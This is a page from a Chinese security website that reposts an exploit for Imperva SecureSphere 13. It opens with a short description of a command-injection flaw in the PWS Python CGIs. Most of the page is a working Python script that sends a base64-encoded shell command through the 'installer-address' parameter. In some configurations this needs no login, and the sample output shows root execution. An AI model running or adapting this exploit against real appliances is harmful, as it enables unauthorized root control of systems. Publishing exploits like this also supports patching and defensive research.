首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Imperva SecureSphere 13 - Remote Command Execution
来源:vfocus.net 作者:rsp3ar 发布时间:2018-10-09  
# Title: Imperva SecureSphere 13 - Remote Command Execution
# Author: rsp3ar
# Date: 2018-10-08
# Vendor: https://www.imperva.com/products/securesphere/
# CVE: N/A
# Version: 13.0.10, 13.1.10, 13.2.10
# Tested on: SecureSphere (Virtual Appliance)
 
# Description
# PWS is a component in SecureSphere v13, which consists of Python CGIs to expose various cli utilities over https.
# The Python CGIs didn't properly sanitize user supplied command parameters, leading to command injection.
# The vulnerability could be exploited in below ways (depending on configuration status of SecureSphere):
 
# 1. Unauthenticated Remote Code Execution (Pre-FTL mode)
# When SecureSphere VM is provisioned without running 'ftl' utility to configured into SOM/MX/Gateway mode,
# the vulnerable endpoint could be reached without authentication:
 
# $ python poc.py -t 192.168.146.201 'sudo id'
# [*] Sending payload to https://192.168.146.201/pws/impcli...
# [*] Received command execution output:
# uid=0(root) gid=0(root) groups=0(root)
 
# 2. Authenticated Remote Code Execution (Gateway mode)
# When SecureSphere VM is configured as gateway mode via 'ftl' utility, the vulnerable endpoint
# could be reached with valid agent registration credential for user 'imperva':
 
# $ python poc.py -t 192.168.146.201 -p 'agent_registration_password' 'sudo id'
# [*] Sending payload to https://192.168.146.201/pws/impcli...
# [*] Received command execution output:
# uid=0(root) gid=0(root) groups=0(root)
 
#!/usr/bin/env python
 
import argparse, sys, base64, json
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 
parser = argparse.ArgumentParser()
parser.add_argument("-t", metavar = "target", help = "Target hostname/IP address", type = str, required = True)
parser.add_argument("-p", metavar = "password", help = "Agent registration password for 'imperva' user", type = str, required = False)
parser.add_argument("cmd", help = "Command to be executed on target", type = str)
args = parser.parse_args()
 
# /pws/inception is another vulnerable endpoint
target_url = "https://%s/pws/impcli" % (args.t)
session = requests.Session()
session.get(target_url, verify = False)
 
split_mark = "SPLIT_MARK"
payload = "$(printf %s | base64 -d | bash)" % (base64.b64encode(args.cmd))
headers = {}
if args.p is not None:
    headers["Authorization"] = "Basic " + base64.b64encode("imperva:" + args.p)
body = {
    "command": "impctl server status",
    "parameters": {
        "broadcast": True,
        "installer-address": "127.0.0.1 %s%s%s" % (split_mark, payload, split_mark)
    }
}
print("[*] Sending payload to %s..." % (target_url))
response = session.post(target_url,  headers = headers, data = json.dumps(body), verify = False)
 
if split_mark in response.text:
    print("[*] Received command execution output:")
    print(response.text.split(split_mark)[1])
elif response.status_code == requests.codes.unauthorized:
    print("[!] Gateway Authentication required, please provide agent registration password.")
else:
    print("[!] Failed to execute command on target.")
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·360 3.5.0.1033 - Sandbox Escap
·net-snmp 5.7.3 - Unauthenticat
·FLIR Thermal Traffic Cameras 1
·Unitrends UEB HTTP API Remote
·Zahir Enterprise Plus 6 Stack
·Navigate CMS Unauthenticated R
·Windows Net-NTLMv2 Reflection
·Easy File Sharing Web Server 7
·ISPConfig < 3.1.13 - Remote Co
·NICO-FTP 3.0.1.19 - Buffer Ove
·FTP Voyager 16.2.0 - Denial of
·H2 Database 1.4.196 - Remote C
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved